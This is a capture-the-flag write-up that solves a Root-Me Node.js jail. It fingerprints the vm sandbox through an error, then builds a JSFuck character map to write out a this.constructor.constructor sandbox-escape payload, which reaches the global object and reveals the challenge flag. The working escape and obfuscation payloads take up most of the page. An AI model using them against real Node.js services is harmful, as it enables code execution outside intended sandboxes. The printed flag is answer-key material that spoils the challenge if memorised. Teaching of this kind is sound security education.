MisTrale Write UpMisTrale Write Up
Buy me a coffee โ˜•
  • English
  • Franรงais
GitHub
Buy me a coffee โ˜•
  • English
  • Franรงais
GitHub
    • ๐Ÿ Introduction
    • ๐ŸŒŸ Acknowledgments
  • ๐Ÿ’€ Root-Me 20k

    • ๐Ÿ’€ Root Me - 20k
    • โค๏ธ Bash - Love Me
    • ๐Ÿ›‘ Python - Not This Way
    • ๐Ÿ“š NodeJs - Never Trust Node One
  • โ›“๏ธ JailCTF-2024

    • ๐Ÿ‘ฎ JailCTF - 2024
    • ๐Ÿ”  !Alphabeat
    • ๐Ÿง‘โ€๐Ÿฆฏ Blind Calc
    • ๐ŸŽ‰ Parity 1
    • ๐ŸŽˆ Parity 2
    • ๐Ÿช„ Pickle Magic
    • โ˜Ž๏ธ Get and Call
    • โ‰๏ธ No Sense
    • ๐ŸŸฉ Filter'd
    • ๐Ÿง SUS Calculator
  • ๐Ÿ•น๏ธ TCP1P

    • ๐ŸŽฎ Another Discord
  • ๐Ÿงฎ GCC-2024

    • ๐Ÿ˜… soBusy
  • ๐ŸŒ› Midnight

    • ๐ŸŒƒ Midnight
    • โœจ Privesc - 1
    • ๐Ÿ”‘ Privesc - 2
    • ๐Ÿ‘‘ Privesc - 3
    • ๐ŸŽญ My Face

๐Ÿ“š NodeJs - Never Trust Node One

๐Ÿ‘€ Before you start

You can donate to me via Buy Me a Coffee or follow me on Github

๐Ÿšฉ Getting the flag

Once inside this NodeJs jail, we don't have many options weโ€™re limited to using only a handful of characters:

$ nc nodejs.root-me.org 52000

+-------------------------------------------------------------------------------------------------------------+
|   ####      ##    ##        ####   ##   ##  ##         ##    ######    #####   ######      ####       ####  |
|   ##  ##   ####   ##      ##   ##  ##   ##  ##        ####   # ## #   ##   ##   ##  ##    ##  ##     ##  ## |
|   ##      ##  ##  ##     ##        ##   ##  ##       ##  ##    ##     ##   ##   ##  ##        ##     ## ### |
|   ##      ##  ##  ##     ##        ##   ##  ##       ##  ##    ##     ##   ##   #####       ###      ###### |
|   ##      ######  ##     ##        ##   ##  ##       ######    ##     ##   ##   ## ##      ##        ### ## |
|   ##  ##  ##  ##  ##       ##  ##  ##   ##  ##       ##  ##    ##     ##   ##   ##  ##    ##  ##  ## ##  ## |
|    ####   ##  ##  #######   ####    #####   #######  ##  ##   ####     #####    #### ##   ######  ##  ####  |
+-------------------------------------------------------------------------------------------------------------+
For security reasons, you can only use the following characters : ()[]{}'0123456789+-*/!

>>>

๐Ÿ—บ๏ธ How to know where we are ?

With so few characters, it's crucial to at least know what kind of environment we're in. To figure this out, weโ€™ll intentionally trigger an error.

>>> 1 **** 1
evalmachine.<anonymous>:1
(function() { 'use strict'; return 1 **** 1 ; })()
                                       ^^
SyntaxError: Unexpected token '**'
    at new Script (node:vm:99:7)
    at runInNewContext (/index.js:63:20)
    at /index.js:77:33
    at [_onLine] [as _onLine] (node:internal/readline/interface:414:7)
    at [_line] [as _line] (node:internal/readline/interface:887:18)
    at [_ttyWrite] [as _ttyWrite] (node:internal/readline/interface:1265:22)
    at ReadStream.onkeypress (node:internal/readline/interface:264:20)
    at ReadStream.emit (node:events:518:28)
    at emitKeys (node:internal/readline/utils:371:14)
    at emitKeys.next (<anonymous>)

From the output, we now know:

  • Weโ€™re in a NodeJs environment
  • We have access to the eval function
  • Weโ€™re in strict mode
  • Weโ€™re running inside the vm module
  • We have access to the runInNewContext function

๐Ÿ’จ Getting characters

To start crafting a JavaScript payload, the first step is being able to generate characters. A fun and powerful method for that is something called JSFuck.

๐Ÿค” What is ``JSFuck`` ?!

JSFuck is an obfuscation technique. Thanks to JavaScriptโ€™s permissiveness, you can literally write any script using only a few special characters. This works because JavaScript is very lenient with type coercion and internal object manipulation.

Letโ€™s look at a simple example:

>>> (!1 + '')[1]
a

Let's break down what's going on here:

  • !1 is equivalent to false.
  • false + '' forces the conversion of false into a string, giving 'false'.
  • 'false'[1] returns the character at index 1, so 'a'

By combining logic like this, you can reconstruct any string letter by letter, which is essential when crafting a payload without directly using any alphabetic characters.

So we can define a table like this to map characters:

const map = {
    'a': `(!1+'')[1]`,
    'b': `({}+'')[2]`,
    'c': `({}+'')[5]`,
    'd': `([][1]+'')[2]`,
    'e': `(!0+'')[3]`,
    'f': `(!1+'')[0]`,
    'g': `(''[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[14]`,
    'h': ``,
    'i': `(1/0+'')[3]`,
    'j': `({}+'')[3]`,
    'k': ``,
    'l': `(!1+'')[2]`,
    'm': `(1[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[11]`,
    'n': `(1/0+'')[4]`,
    'o': `({}+'')[1]`,
    'p': `(/./[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[14]`,
    'q': ``,
    'r': `(!0+'')[1]`,
    's': `(!1+'')[3]`,
    't': `(!0+'')[0]`,
    'u': `(!0+'')[2]`,
    'v': `(1[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[25]`,
    'w': ``,
    'x': `(/./[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[13]`,
    'y': `(1/0+'')[7]`,
    'z': ``,

    'A': `([][({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[9]`,
    'B': `((!0)[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[9]`,
    'C': ``,
    'D': ``,
    'E': `(/./[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[12]`,
    'F': `(''[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]][({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[9]`,
    'G': ``,
    'H': ``,
    'I': `(1/0+'')[0]`,
    'J': ``,
    'K': ``,
    'L': ``,
    'M': ``,
    'N': `([]/[]+'')[0]`,
    'O': `({}[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[9]`,
    'P': ``,
    'Q': ``,
    'R': `(/./[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[9]`,
    'S': `(''[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[9]`,
    'T': ``,
    'U': ``,
    'V': ``,
    'W': ``,
    'X': ``,
    'Y': ``,
    'Z': ``,

    '.': `(+(11+(!0+'')[3]+100)+'')[1]`,
    '+': `(1111111111111111111111+'')[19]`,
    '<': `(''[(!1+'')[0]+({}+'')[1]+(1/0+'')[4]+(!0+'')[0]+({}+'')[5]+({}+'')[1]+(!1+'')[2]+({}+'')[1]+(!0+'')[1]]()[0])`,
    '>': `(''[(!1+'')[0]+({}+'')[1]+(1/0+'')[4]+(!0+'')[0]+({}+'')[5]+({}+'')[1]+(!1+'')[2]+({}+'')[1]+(!0+'')[1]]()[23])`,
    '=': `(''[(!1+'')[0]+({}+'')[1]+(1/0+'')[4]+(!0+'')[0]+({}+'')[5]+({}+'')[1]+(!1+'')[2]+({}+'')[1]+(!0+'')[1]]()[11])`,
    '/': `(''[(!1+'')[0]+({}+'')[1]+(1/0+'')[4]+(!0+'')[0]+({}+'')[5]+({}+'')[1]+(!1+'')[2]+({}+'')[1]+(!0+'')[1]]()[25])`,
    '"': `(''[(!1+'')[0]+({}+'')[1]+(1/0+'')[4]+(!0+'')[0]+({}+'')[5]+({}+'')[1]+(!1+'')[2]+({}+'')[1]+(!0+'')[1]]()[22])`,
};

๐Ÿงฉ Code Injection

As we know, the vm module allows us to execute JavaScript code in a sandboxed context. Itโ€™s often used to run code in a โ€œsafeโ€ environment, but it can also be used to run code in the global context.

We also know that we can break out of the vm context and execute code globally using this trick:

>>> this.constructor.constructor("return this")()
Welcome to Node.js v22.15.0.
Type ".help" for more information.
> this.constructor.constructor("return this")()
<ref *1> Object [global] {
  global: [Circular *1],
  clearImmediate: [Function: clearImmediate],
  setImmediate: [Function: setImmediate] {
    [Symbol(nodejs.util.promisify.custom)]: [Getter]
  },
  clearInterval: [Function: clearInterval],
  clearTimeout: [Function: clearTimeout],
  setInterval: [Function: setInterval],
  setTimeout: [Function: setTimeout] {
    [Symbol(nodejs.util.promisify.custom)]: [Getter]
  },
  queueMicrotask: [Function: queueMicrotask],
  structuredClone: [Function: structuredClone],
  atob: [Function: atob],
  btoa: [Function: btoa],
  performance: [Getter/Setter],
  fetch: [Function: fetch],
  navigator: [Getter],
  crypto: [Getter]
}

Weโ€™ll do the exact same thing inside our jail but using JSFuck format.

>>> ''[(!1+'')[1]+(!0+'')[0]][({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]((!0+'')[1]+(!0+'')[3]+(!0+'')[0]+(!0+'')[2]+(!0+'')[1]+(1/0+'')[4]+' '+(''[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[14]+(!1+'')[2]+({}+'')[1]+({}+'')[2]+(!1+'')[1]+(!1+'')[2])()
<ref *1> Object [global] {
  global: [Circular *1],
  clearImmediate: [Function: clearImmediate],
  setImmediate: [Function: setImmediate] {
    [Symbol(nodejs.util.promisify.custom)]: [Getter]
  },
  clearInterval: [Function: clearInterval],
  clearTimeout: [Function: clearTimeout],
  setInterval: [Function: setInterval],
  setTimeout: [Function: setTimeout] {
    [Symbol(nodejs.util.promisify.custom)]: [Getter]
  },
  queueMicrotask: [Function: queueMicrotask],
  structuredClone: [Function: structuredClone],
  atob: [Getter/Setter],
  btoa: [Getter/Setter],
  performance: [Getter/Setter],
  fetch: [Function: fetch],
  crypto: [Getter],
  secret: [Function (anonymous)],
  contextReturn: [Circular *1]
}

We can see that we now have access to a secret function called secret. So... letโ€™s execute it.

>>> ''[(!1+'')[1]+(!0+'')[0]][({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]((!0+'')[1]+(!0+'')[3]+(!0+'')[0]+(!0+'')[2]+(!0+'')[1]+(1/0+'')[4]+' '+(''[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[14]+(!1+'')[2]+({}+'')[1]+({}+'')[2]+(!1+'')[1]+(!1+'')[2]+(+(11+(!0+'')[3]+100)+'')[1]+(!1+'')[3]+(!0+'')[3]+({}+'')[5]+(!0+'')[1]+(!0+'')[3]+(!0+'')[0]+(1111111111111111111111+'')[19]+(''[(!1+'')[0]+({}+'')[1]+(1/0+'')[4]+(!0+'')[0]+({}+'')[5]+({}+'')[1]+(!1+'')[2]+({}+'')[1]+(!0+'')[1]]()[22])+(''[(!1+'')[0]+({}+'')[1]+(1/0+'')[4]+(!0+'')[0]+({}+'')[5]+({}+'')[1]+(!1+'')[2]+({}+'')[1]+(!0+'')[1]]()[22]))()
(password) => {
    if (password === undefined) {
        console.log("You need to enter a password !");
        return;
    }
    if (password === "MST{nodejs_is_not_safe}") {
        console.log("YOU WIN !!!");
        return;
    }
    console.log("Wrong password !");
}

๐Ÿ“– Explication

'' -> this
[
    (!1+'')[1] + -> 'a'
    (!0+'')[0] + -> 't'
]
[
    ({}+'')[5] + -> 'c'
    ({}+'')[1] + -> 'o'
    (1/0+'')[4] + -> 'n'
    (!1+'')[3] + -> 's'
    (!0+'')[0] + -> 't'
    (!0+'')[1] + -> 'r'
    (!0+'')[2] + -> 'u'
    ({}+'')[5] + -> 'c'
    (!0+'')[0] + -> 't'
    ({}+'')[1] + -> 'o'
    (!0+'')[1] -> 'r'
]
(
    (!0+'')[1] + -> 'r'
    (!0+'')[3] + -> 'e'
    (!0+'')[0] + -> 't'
    (!0+'')[2] + -> 'u'
    (!0+'')[1] + -> 'r'
    (1/0+'')[4] + -> 'n'
    ' ' +  -> ' '
    (''[({}+'')[5]+({}+'')[1]+(1/0+'')[4]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+(!0+'')[0]+({}+'')[1]+(!0+'')[1]]+'')[14] + -> 'g'
    (!1+'')[2] + -> 'l'
    ({}+'')[1] + -> 'o'
    ({}+'')[2] + -> 'b'
    (!1+'')[1] + -> 'a'
    (!1+'')[2] + -> 'l'
    (+(11+(!0+'')[3]+100)+'')[1]+ -> '.'
    (!1+'')[3] + -> 's'
    (!0+'')[3] + -> 'e'
    ({}+'')[5] + -> 'c'
    (!0+'')[1] + -> 'r'
    (!0+'')[3] + -> 'e'
    (!0+'')[0] + -> 't'
    (1111111111111111111111+'')[19] + -> '+'
    (''[(!1+'')[0]+({}+'')[1]+(1/0+'')[4]+(!0+'')[0]+({}+'')[5]+({}+'')[1]+(!1+'')[2]+({}+'')[1]+(!0+'')[1]]()[22]) + -> '"'
    (''[(!1+'')[0]+({}+'')[1]+(1/0+'')[4]+(!0+'')[0]+({}+'')[5]+({}+'')[1]+(!1+'')[2]+({}+'')[1]+(!0+'')[1]]()[22]) + -> '"'
)
()

(This section breaks down how each part of the JSFuck payload is built character by character, using type coercions and property lookups.)

๐Ÿค“ Documentation

  • Rebuild the alphabet
  • Short JSFuck trick
  • Get all characters and symbols
  • Inspect a function
  • Alternative to this

๐Ÿ’– Support

๐Ÿ‘€ Before you leave

You can donate to me via Buy Me a Coffee or follow me on Github

Prev
๐Ÿ›‘ Python - Not This Way